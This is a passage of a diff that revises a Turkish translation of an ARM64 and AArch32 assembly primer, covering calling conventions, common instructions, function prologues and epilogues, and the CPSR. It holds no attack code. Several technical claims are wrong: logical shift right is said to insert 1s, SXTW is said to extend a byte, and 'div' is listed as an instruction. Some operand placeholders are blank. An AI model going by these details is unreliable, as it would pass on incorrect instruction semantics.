işaretçisi seçme** bayrakları (**`SPS`**): EL1 ve üzerindeki ayrıcalıklı programlar, kendi yığın işaretçisi kaydı ile kullanıcı modeli arasında geçiş yapabilir (örneğin, `SP_EL1` ile `EL0` arasında). Bu geçiş, **`SPSel`** özel kaydına yazılarak gerçekleştirilir. Bu, EL0'dan yapılamaz. ## **Çağrı Sözleşmesi (ARM64v8)** -ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçildiğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. +ARM64 çağrı sözleşmesi, bir fonksiyona **ilk sekiz parametrenin** **`x0` ile `x7`** kayıtlarında geçirileceğini belirtir. **Ek** parametreler **yığında** geçilir. **Dönüş** değeri, **`x0`** kaydında veya **`x1`** kaydında **eğer 128 bit uzunluğundaysa** geri geçirilir. **`x19`** ile **`x30`** ve **`sp`** kayıtları, fonksiyon çağrıları arasında **korunmalıdır**. -Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog**, genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir. +Bir fonksiyonu assembly dilinde okurken, **fonksiyon prologunu ve epilogunu** arayın. **Prolog**, genellikle **çerçeve işaretçisini (`x29`) saklamayı**, **yeni bir çerçeve işaretçisi** ayarlamayı ve **yığın alanı** ayırmayı içerir. **Epilog** genellikle **saklanan çerçeve işaretçisini geri yüklemeyi** ve **fonksiyondan dönmeyi** içerir. ### Swift'te Çağrı Sözleşmesi -Swift'in kendi **çağrı sözleşmesi** vardır ve [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir. +Swift'in kendi **çağrı sözleşmesi** vardır, [**https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64**](https://github.com/apple/swift/blob/main/docs/ABI/CallConvSummary.rst#arm64) adresinde bulunabilir. ## **Yaygın Talimatlar (ARM64v8)** @@ -104,25 +104,25 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - **`mov`**: Bir **kayıttan** diğerine bir değeri **taşı**. - Örnek: `mov x0, x1` — Bu, `x1`'den `x0`'a değeri taşır. -- **`ldr`**: **Bellekten** bir değeri bir **kayda** **yükle**. +- **`ldr`**: **Bellekten** bir değeri bir **kayda yükle**. - Örnek: `ldr x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan bir değeri `x0`'a yükler. - **Offset modu**: Orijinal işaretçiyi etkileyen bir offset belirtilir, örneğin: - `ldr x2, [x1, #8]`, bu `x2`'ye `x1 + 8` değerini yükleyecektir. -- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 konumundaki bir nesneyi yükleyecektir. -- **Önceden indekslenmiş mod**: Bu, orijinal değere hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal değeri orijinalde saklar. -- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'e `x1 + 8` sonucunu saklar. +- `ldr x2, [x0, x1, lsl #2]`, bu `x2`'ye `x0` dizisinden `x1` (indeks) \* 4 pozisyonundan bir nesne yükleyecektir. +- **Önceden indekslenmiş mod**: Bu, orijinal işaretçiye hesaplamalar uygular, sonucu alır ve ayrıca yeni orijinal işaretçiyi orijinalde saklar. +- `ldr x2, [x1, #8]!`, bu `x2`'ye `x1 + 8` yükler ve `x1`'de `x1 + 8` sonucunu saklar. - `str lr, [sp, #-4]!`, Bağlantı kaydını sp'ye sakla ve kaydı güncelle. - **Son indeks modu**: Bu, önceki gibi, ancak bellek adresine erişilir ve ardından offset hesaplanır ve saklanır. - `ldr x0, [x1], #8`, `x1`'i `x0`'a yükler ve `x1`'i `x1 + 8` ile günceller. - **PC'ye göre adresleme**: Bu durumda, yüklenecek adres PC kaydına göre hesaplanır. - `ldr x1, =_start`, Bu, `_start` sembolünün başladığı adresi `x1`'e yükleyecektir. - **`str`**: Bir **kayıttan** **belleğe** bir değeri **sakla**. -- Örnek: `str x0, [x1]` — Bu, `x0`'deki değeri `x1` tarafından işaret edilen bellek konumuna saklar. -- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından **iki kaydı** yükler. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `ldp x0, x1, [x2]` — Bu, `x2` ve `x2 + 8` konumlarındaki bellekten `x0` ve `x1`'i yükler. -- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına **iki kaydı** saklar. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. -- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i `sp` ve `sp + 8` konumlarındaki bellek alanlarına saklar. -- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i `sp+16` ve `sp + 24` konumlarındaki bellek alanlarına saklar ve `sp`'yi `sp+16` ile günceller. +- Örnek: `str x0, [x1]` — Bu, `x0`'daki değeri `x1` tarafından işaret edilen bellek konumuna saklar. +- **`ldp`**: **Kayıt Çifti Yükle**. Bu talimat, **ardışık bellek** konumlarından iki kaydı **yükler**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. +- Örnek: `ldp x0, x1, [x2]` — Bu, `x0` ve `x1`'i sırasıyla `x2` ve `x2 + 8`'deki bellek konumlarından yükler. +- **`stp`**: **Kayıt Çifti Sakla**. Bu talimat, **ardışık bellek** konumlarına iki kaydı **saklar**. Bellek adresi genellikle başka bir kayıttaki değere bir offset eklenerek oluşturulur. +- Örnek: `stp x0, x1, [sp]` — Bu, `x0` ve `x1`'i sırasıyla `sp` ve `sp + 8`'deki bellek konumlarına saklar. +- `stp x0, x1, [sp, #16]!` — Bu, `x0` ve `x1`'i sırasıyla `sp+16` ve `sp + 24`'deki bellek konumlarına saklar ve `sp`'yi `sp+16` ile günceller. - **`add`**: İki kaydın değerlerini toplar ve sonucu bir kayıtta saklar. - Söz dizimi: add(s) Xn1, Xn2, Xn3 | #imm, \[shift #N | RRX] - Xn1 -> Hedef @@ -130,75 +130,75 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - Xn3 | #imm -> Operatör 2 (kayıt veya anlık) - \[shift #N | RRX] -> Bir kaydırma gerçekleştir veya RRX çağır - Örnek: `add x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri toplar ve sonucu `x0`'da saklar. -- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmış) -> 1 0000 0000 0000 0000 +- `add x5, x5, #1, lsl #12` — Bu, 4096'ya eşittir (1, 12 kez kaydırılmıştır) -> 1 0000 0000 0000 0000 - **`adds`** Bu, bir `add` işlemi gerçekleştirir ve bayrakları günceller. - **`sub`**: İki kaydın değerlerini çıkarır ve sonucu bir kayıtta saklar. - **`add`** **söz dizimini** kontrol edin. - Örnek: `sub x0, x1, x2` — Bu, `x2`'deki değeri `x1`'den çıkarır ve sonucu `x0`'da saklar. -- **`subs`** Bu, çıkarma işlemi gibidir ancak bayrağı günceller. -- **`mul`**: **İki kaydın** değerlerini çarpar ve sonucu bir kayıtta saklar. +- **`subs`** Bu, çıkarma işlemi yapar ancak bayrağı günceller. +- **`mul`**: İki kaydın değerlerini çarpar ve sonucu bir kayıtta saklar. - Örnek: `mul x0, x1, x2` — Bu, `x1` ve `x2`'deki değerleri çarpar ve sonucu `x0`'da saklar. - **`div`**: Bir kaydın değerini diğerine böler ve sonucu bir kayıtta saklar. - Örnek: `div x0, x1, x2` — Bu, `x1`'deki değeri `x2`'ye böler ve sonucu `x0`'da saklar. - **`lsl`**, **`lsr`**, **`asr`**, **`ror`, `rrx`**: -- **Mantıksal kaydırma sola**: Sonundan 0 ekleyerek diğer bitleri ileri taşır (n kat 2 ile çarpma). -- **Mantıksal kaydırma sağa**: Başlangıcına 1 ekleyerek diğer bitleri geri taşır (imzasız n kat 2 ile bölme). -- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı n kat 2 ile bölme). +- **Mantıksal kaydırma sola**: Diğer bitleri ileri kaydırarak uçtan 0 ekler (n kez 2 ile çarpma). +- **Mantıksal kaydırma sağa**: Diğer bitleri geri kaydırarak başa 1 ekler (imzasız olarak n kez 2 ile bölme). +- **Aritmetik kaydırma sağa**: **`lsr`** gibi, ancak en anlamlı bit 1 ise 0 eklemek yerine **1 eklenir** (imzalı olarak n kez 2 ile bölme). - **Sağa döndürme**: **`lsr`** gibi, ancak sağdan çıkarılan her şey sola eklenir. -- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Yani taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. -- **`bfm`**: **Bit Alanı Taşıma**, bu işlemler bir değerden `0...n` bitlerini kopyalar ve bunları **`m..m+n`** konumlarına yerleştirir. **`#s`**, **en soldaki bit** konumunu ve **`#r`** ise **sağa döndürme miktarını** belirtir. +- **Genişletme ile sağa döndürme**: **`ror`** gibi, ancak taşıma bayrağı "en anlamlı bit" olarak kullanılır. Böylece taşıma bayrağı bit 31'e taşınır ve çıkarılan bit taşıma bayrağına eklenir. +- **`bfm`**: **Bit Alanı Taşı**, bu işlemler **bir değerden `0...n` bitlerini kopyalar** ve bunları **`m..m+n`** pozisyonlarına yerleştirir. **`#s`**, **en soldaki bit** pozisyonunu ve **`#r`** **sağa döndürme miktarını** belirtir. - Bit alanı taşıma: `BFM Xd, Xn, #r` - İmzalı bit alanı taşıma: `SBFM Xd, Xn, #r, #s` - İmzalı olmayan bit alanı taşıma: `UBFM Xd, Xn, #r, #s` - **Bit alanı Çıkarma ve Ekleme:** Bir kayıttan bir bit alanını kopyalar ve başka bir kayda kopyalar. - **`BFI X1, X2, #3, #4`** X2'den X1'in 3. bitinden 4 bit ekle. -- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden dört bit çıkar ve X1'e kopyala. -- **`SBFIZ X1, X2, #3, #4`** X2'den 4 biti imza uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. -- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır, imza uzatır ve sonucu X1'e yerleştirir. -- **`UBFIZ X1, X2, #3, #4`** X2'den 4 biti sıfır uzatır ve X1'e 3. bit konumundan ekler, sağdaki bitleri sıfırlar. -- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkarır ve sıfır uzatılmış sonucu X1'e yerleştirir. -- **İmza Uzatma X'e:** Bir değerin imzasını uzatır (veya imzasız versiyonda sadece 0 ekler) böylece onunla işlemler gerçekleştirebiliriz: -- **`SXTB X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır (`W2`, `X2`'nin yarısıdır) 64bit doldurmak için. -- **`SXTH X1, W2`** W2'den **X1'e** 16bit bir sayının imzasını uzatır 64bit doldurmak için. -- **`SXTW X1, W2`** W2'den **X1'e** bir baytın imzasını uzatır 64bit doldurmak için. -- **`UXTB X1, W2`** W2'den **X1'e** 0 ekler (imzasız) 64bit doldurmak için. -- **`extr`:** Belirtilen **kayıt çiftlerinden** bitleri çıkarır. +- **`BFXIL X1, X2, #3, #4`** X2'nin 3. bitinden 4 bit çıkar ve X1'e kopyala. +- **`SBFIZ X1, X2, #3, #4`** X2'den 4 bit işaret uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla. +- **`SBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar, işaret uzat ve sonucu X1'e yerleştir. +- **`UBFIZ X1, X2, #3, #4`** X2'den 4 bit sıfır uzat ve X1'e ekle, 3. bit pozisyonundan başlayarak sağdaki bitleri sıfırla. +- **`UBFX X1, X2, #3, #4`** X2'den 3. bitten başlayarak 4 bit çıkar ve sıfır uzatılmış sonucu X1'e yerleştir. +- **İşareti X'e Uzatma:** Bir değerin işaretini (veya imzasız versiyonunda sadece 0 ekler) uzatır, böylece onunla işlemler gerçekleştirebiliriz: +- **`SXTB X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır (`W2`, `X2`'nin yarısıdır) ve 64 bit doldurur. +- **`SXTH X1, W2`** W2'den **X1'e** 16 bitlik bir sayının işaretini uzatır ve 64 bit doldurur. +- **`SXTW X1, W2`** W2'den **X1'e** bir baytın işaretini uzatır ve 64 bit doldurur. +- **`UXTB X1, W2`** W2'den **X1'e** bir bayta 0 ekler (imzasız) ve 64 bit doldurur. +- **`extr`:** Belirtilen **bir çift kayıttan bitleri çıkarır**. - Örnek: `EXTR W3, W2, W1, #3` Bu, **W1+W2'yi birleştirir** ve **W2'nin 3. bitinden W1'in 3. bitine kadar** alır ve W3'e saklar. -- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'ın bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır. +- **`cmp`**: İki kaydı **karşılaştırır** ve durum bayraklarını ayarlar. Bu, **`subs`**'nin bir takma adıdır ve hedef kaydı sıfır kaydına ayarlar. `m == n` olup olmadığını bilmek için yararlıdır. - **`subs`** ile aynı söz dizimini destekler. - Örnek: `cmp x0, x1` — Bu, `x0` ve `x1`'deki değerleri karşılaştırır ve durum bayraklarını buna göre ayarlar. -- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'ın bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. +- **`cmn`**: Negatif **operandı karşılaştırır**. Bu durumda, **`adds`**'nin bir takma adıdır ve aynı söz dizimini destekler. `m == -n` olup olmadığını bilmek için yararlıdır. - **`ccmp`**: Koşullu karşılaştırma, yalnızca önceki bir karşılaştırma doğruysa gerçekleştirilecek bir karşılaştırmadır ve özellikle nzcv bitlerini ayarlayacaktır. -- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> Eğer x1 != x2 ve x3 < x4 ise, func'a atla. -- Bu, **`ccmp`**'nin yalnızca önceki **`cmp`'nin `NE`** olduğu durumda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0 olarak ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). +- `cmp x1, x2; ccmp x3, x4, 0, NE; blt _func` -> eğer x1 != x2 ve x3 < x4 ise, func'a atla. +- Bu, **`ccmp`**'nin yalnızca **önceki `cmp` bir `NE`** olduğunda yürütüleceği anlamına gelir, eğer değilse `nzcv` bitleri 0'a ayarlanır (bu da `blt` karşılaştırmasını tatmin etmez). - Bu, `ccmn` olarak da kullanılabilir (aynı ancak negatif, `cmp` ile `cmn` gibi). -- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu hiçbir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki bitlerden herhangi birinin 1 olup olmadığını kontrol etmek için yararlıdır. +- **`tst`**: Karşılaştırmanın değerlerinden herhangi birinin 1 olup olmadığını kontrol eder (sonucu herhangi bir yere saklamadan ANDS gibi çalışır). Bir kaydı bir değerle kontrol etmek ve kaydın belirtilen değerindeki herhangi bir bitin 1 olup olmadığını kontrol etmek için yararlıdır. - Örnek: `tst X1, #7` X1'in son 3 bitinden herhangi birinin 1 olup olmadığını kontrol et. - **`teq`**: Sonucu göz ardı ederek XOR işlemi. - **`b`**: Koşulsuz Dal. - Örnek: `b myFunction` -- Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). +- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). - **`bl`**: **Bağlantı** ile dal, bir **alt programı** **çağırmak** için kullanılır. **Dönüş adresini `x30`'da** saklar. - Örnek: `bl myFunction` — Bu, `myFunction` fonksiyonunu çağırır ve dönüş adresini `x30`'da saklar. -- Not: Bu, dönüş adresi ile bağlantı kaydını doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). -- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilmiş** olduğu bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu -- Örnek: `blr x1` — Bu, adresi `x1`'de bulunan fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. -- **`ret`**: **Alt programdan** **dön**, genellikle **`x30`**'deki adresi kullanarak. +- Not: Bu, bağlantı kaydını dönüş adresi ile doldurmaz (geri dönmesi gereken alt program çağrıları için uygun değildir). +- **`blr`**: **Bağlantı** ile Kayıta Dal, hedefin **bir kayıtta** **belirtilerek** bir **alt programı** **çağırmak** için kullanılır. Dönüş adresini `x30`'da saklar. (Bu +- Örnek: `blr x1` — Bu, `x1`'de bulunan adresi içeren fonksiyonu çağırır ve dönüş adresini `x30`'da saklar. +- **`ret`**: **Alt programdan dön**, genellikle **`x30`**'daki adresi kullanarak. - Örnek: `ret` — Bu, mevcut alt programdan dönüş yapar ve dönüş adresini `x30`'da kullanır. - **`b.`**: Koşullu dallar. - **`b.eq`**: **Eşitse dal**, önceki `cmp` talimatına dayanarak. - Örnek: `b.eq label` — Eğer önceki `cmp` talimatı iki eşit değer bulursa, bu `label`'a atlar. -- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar. +- **`b.ne`**: **Eşit Değilse Dal**. Bu talimat, durum bayraklarını kontrol eder (önceki bir karşılaştırma talimatı tarafından ayarlanmıştır) ve karşılaştırılan değerler eşit değilse, bir etikete veya adrese dalar. - Örnek: `cmp x0, x1` talimatından sonra, `b.ne label` — Eğer `x0` ve `x1`'deki değerler eşit değilse, bu `label`'a atlar. -- **`cbz`**: **Sıfır ile Karşılaştır ve Dal**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar. -- Örnek: `cbz x0, label` — Eğer `x0`'deki değer sıfırsa, bu `label`'a atlar. -- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dal**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar. -- Örnek: `cbnz x0, label` — Eğer `x0`'deki değer sıfır değilse, bu `label`'a atlar. -- **`tbnz`**: Bit testi yap ve sıfır olmayan durumda dal. +- **`cbz`**: **Sıfır ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşitse, bir etikete veya adrese dalar. +- Örnek: `cbz x0, label` — Eğer `x0`'daki değer sıfırsa, bu `label`'a atlar. +- **`cbnz`**: **Sıfır Olmayan ile Karşılaştır ve Dala Geç**. Bu talimat, bir kaydı sıfır ile karşılaştırır ve eğer eşit değilse, bir etikete veya adrese dalar. +- Örnek: `cbnz x0, label` — Eğer `x0`'daki değer sıfır değilse, bu `label`'a atlar. +- **`tbnz`**: Bit testi ve sıfır olmayan durumda dal. - Örnek: `tbnz x0, #8, label` -- **`tbz`**: Bit testi yap ve sıfır durumunda dal. +- **`tbz`**: Bit testi ve sıfır durumunda dal. - Örnek: `tbz x0, #8, label` -- **Koşullu seçim işlemleri**: Bu işlemler, koşullu bitlere bağlı olarak davranışlarını değiştirir. +- **Koşullu seçim işlemleri**: Bu işlemler, davranışlarının koşullu bitlere bağlı olarak değiştiği işlemlerdir. - `csel Xd, Xn, Xm, cond` -> `csel X0, X1, X2, EQ` -> Eğer doğruysa, X0 = X1, eğer yanlışsa, X0 = X2. - `csinc Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = Xn, eğer yanlışsa, Xd = Xm + 1. - `cinc Xd, Xn, cond` -> Eğer doğruysa, Xd = Xn + 1, eğer yanlışsa, Xd = Xn. @@ -208,13 +208,13 @@ ARM64 talimatları genellikle **`opcode dst, src1, src2`** formatına sahiptir, - `cneg Xd, Xn, cond` -> Eğer doğruysa, Xd = - Xn, eğer yanlışsa, Xd = Xn. - `cset Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = 1, eğer yanlışsa, Xd = 0. - `csetm Xd, Xn, Xm, cond` -> Eğer doğruysa, Xd = \, eğer yanlışsa, Xd = 0. -- **`adrp`**: Bir sembolün **sayfa adresini** hesapla ve bir kayıtta sakla. +- **`adrp`**: Bir sembolün **sayfa adresini** hesaplar ve bir kayıtta saklar. - Örnek: `adrp x0, symbol` — Bu, `symbol`'ün sayfa adresini hesaplar ve `x0`'da saklar. -- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükle ve **64 bit'e imza uzat**. -- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e imza uzatır ve `x0`'da saklar. -- **`stur`**: Bir kayıt değerini bir bellek konumuna sakla, başka bir kayıttan offset kullanarak. -- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'deki değeri `x1`'deki adresten 4 byte daha büyük olan bellek adresine saklar. -- **`svc`** : Bir **sistem çağrısı** yap. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna** geçer ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar. +- **`ldrsw`**: Bellekten **imzalı 32-bit** bir değeri yükler ve **64 bit'e işaret uzatır**. +- Örnek: `ldrsw x0, [x1]` — Bu, `x1` tarafından işaret edilen bellek konumundan imzalı 32-bit bir değeri yükler, 64 bit'e işaret uzatır ve `x0`'da saklar. +- **`stur`**: Bir kayıt değerini bir bellek konumuna saklar, başka bir kayıttan bir offset kullanarak. +- Örnek: `stur x0, [x1, #4]` — Bu, `x0`'daki değeri `x1`'deki adrese 4 byte ekleyerek saklar. +- **`svc`** : Bir **sistem çağrısı** yapar. "Denetçi Çağrısı" anlamına gelir. İşlemci bu talimatı yürüttüğünde, **kullanıcı modundan çekirdek moduna geçer** ve **çekirdeğin sistem çağrı işleme** kodunun bulunduğu bellek konumuna atlar. - Örnek: @@ -230,26 +230,26 @@ svc 0 ; Sistem çağrısını yap. ```armasm stp x29, x30, [sp, #-16]! ; store pair x29 and x30 to the stack and decrement the stack pointer ``` -2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) -3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, ` (burada `` gereken byte sayısıdır) +2. **Yeni çerçeve işaretçisini ayarlayın**: `mov x29, sp` (mevcut fonksiyon için yeni çerçeve işaretçisini ayarlar) +3. **Yerel değişkenler için yığında alan ayırın** (gerekirse): `sub sp, sp, ` (burada ``, gereken byte sayısını ifade eder) -### **Fonksiyon Epilogü** +### **Fonksiyon Epilogu** -1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, ` +1. **Yerel değişkenleri serbest bırakın (eğer ayrıldıysa)**: `add sp, sp, ` 2. **Bağlantı kaydını ve çerçeve işaretçisini geri yükleyin**: ```armasm ldp x29, x30, [sp], #16 ; load pair x29 and x30 from the stack and increment the stack pointer ``` -3. **Return**: `ret` (kontrolü çağırana döndürür, bağlantı kaydındaki adresi kullanarak) +3. **Return**: `ret` (kontrolü çağırana geri döner, bağlantı kaydındaki adresi kullanarak) ## AARCH32 İcra Durumu Armv8-A, 32-bit programların çalıştırılmasını destekler. **AArch32**, **`A32`** ve **`T32`** olmak üzere **iki talimat setinde** çalışabilir ve bunlar arasında **`interworking`** ile geçiş yapabilir.\ -**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit programların **çalıştırılmasını** sağlamak için bir istisna seviyesi transferi gerçekleştirerek programları planlayabilir.\ -64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlemci iş parçacığı çalıştırılmaya hazır olduğunda **`SPSR_ELx`** özel kaydının **bit 4'ünü 1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili işlem **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR\*\*'ye bağlı olarak A32 veya T32'ye girer.\*\* +**Yetkili** 64-bit programlar, daha düşük yetkili 32-bit'e bir istisna seviyesi transferi gerçekleştirerek **32-bit** programların **çalıştırılmasını** planlayabilir.\ +64-bit'ten 32-bit'e geçişin, istisna seviyesinin düşmesiyle gerçekleştiğini unutmayın (örneğin, EL1'deki bir 64-bit programın EL0'daki bir programı tetiklemesi). Bu, `AArch32` işlem süreci işlenmeye hazır olduğunda **`SPSR_ELx`** özel kaydının **4. bitini** **1** olarak ayarlayarak yapılır ve `SPSR_ELx`'in geri kalanı **`AArch32`** programlarının CPSR'sini saklar. Ardından, yetkili süreç **`ERET`** talimatını çağırır, böylece işlemci **`AArch32`**'ye geçer ve CPSR'ye bağlı olarak A32 veya T32'ye girer.** **`interworking`**, CPSR'nin J ve T bitleri kullanılarak gerçekleşir. `J=0` ve `T=0`, **`A32`** anlamına gelir; `J=0` ve `T=1`, **T32** anlamına gelir. Bu, temelde talimat setinin T32 olduğunu belirtmek için **en düşük bitin 1** olarak ayarlanması anlamına gelir.\ -Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kayıt olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek: +Bu, **interworking dal talimatları** sırasında ayarlanır, ancak PC hedef kaydedici olarak ayarlandığında diğer talimatlarla da doğrudan ayarlanabilir. Örnek: Başka bir örnek: ```armasm @@ -264,7 +264,7 @@ mov r0, #8 ``` ### Kayıtlar -16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar olanlar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır: +16 adet 32-bit kayıt (r0-r15) vardır. **r0'dan r14'e** kadar **herhangi bir işlem** için kullanılabilir, ancak bazıları genellikle ayrılmıştır: - **`r15`**: Program sayacı (her zaman). Bir sonraki talimatın adresini içerir. A32'de mevcut + 8, T32'de mevcut + 4. - **`r11`**: Çerçeve İşaretçisi @@ -272,12 +272,12 @@ mov r0, #8 - **`r13`**: Yığın İşaretçisi - **`r14`**: Bağlantı Kaydı -Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini sağlar.\ +Ayrıca, kayıtlar **`banked registries`** içinde yedeklenir. Bu, kayıt değerlerini depolayan yerlerdir ve her seferinde kayıtları manuel olarak kaydetme ve geri yükleme ihtiyacını ortadan kaldırarak **hızlı bağlam değiştirme** işlemlerini gerçekleştirmeyi sağlar.\ Bu, istisna alındığında işlemci modunun **`CPSR`**'sinden **`SPSR`**'ye işlemci durumunun **kaydedilmesiyle** yapılır. İstisna geri döndüğünde, **`CPSR`** **`SPSR`**'den geri yüklenir. ### CPSR - Mevcut Program Durum Kaydı -AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de de saklanır: +AArch32'de CPSR, AArch64'teki **`PSTATE`** ile benzer şekilde çalışır ve ayrıca bir istisna alındığında daha sonra yürütmeyi geri yüklemek için **`SPSR_ELx`**'de saklanır:
@@ -290,9 +290,9 @@ Alanlar bazı gruplara ayrılmıştır: - **`N`**, **`Z`**, **`C`**, **`V`** bayrakları (AArch64'teki gibi) - **`Q`** bayrağı: Özel bir doygun aritmetik talimatın yürütülmesi sırasında **tam sayı doygunluğu meydana geldiğinde** 1 olarak ayarlanır. **`1`** olarak ayarlandığında, manuel olarak 0 olarak ayarlanana kadar bu değeri korur. Ayrıca, değerini dolaylı olarak kontrol eden herhangi bir talimat yoktur, bu manuel olarak okunmalıdır. -- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatta birden fazla veri noktasını işleme imkanı tanır. +- **`GE`** (Büyüktür veya eşittir) Bayrakları: SIMD (Tek Talimat, Çoklu Veri) işlemlerinde kullanılır, örneğin "paralel toplama" ve "paralel çıkarma". Bu işlemler, tek bir talimatla birden fazla veri noktasını işleme imkanı tanır. -Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta saklar. Daha sonra bu sonuçlara dayanarak **`APSR`**'deki `GE` bayraklarını **ayarlar**. Her GE bayrağı, o bayt çiftinin toplamının **taşma** yapıp yapmadığını gösterir. +Örneğin, **`UADD8`** talimatı **dört çift baytı** (iki 32-bit operandından) paralel olarak toplar ve sonuçları 32-bit bir kayıtta 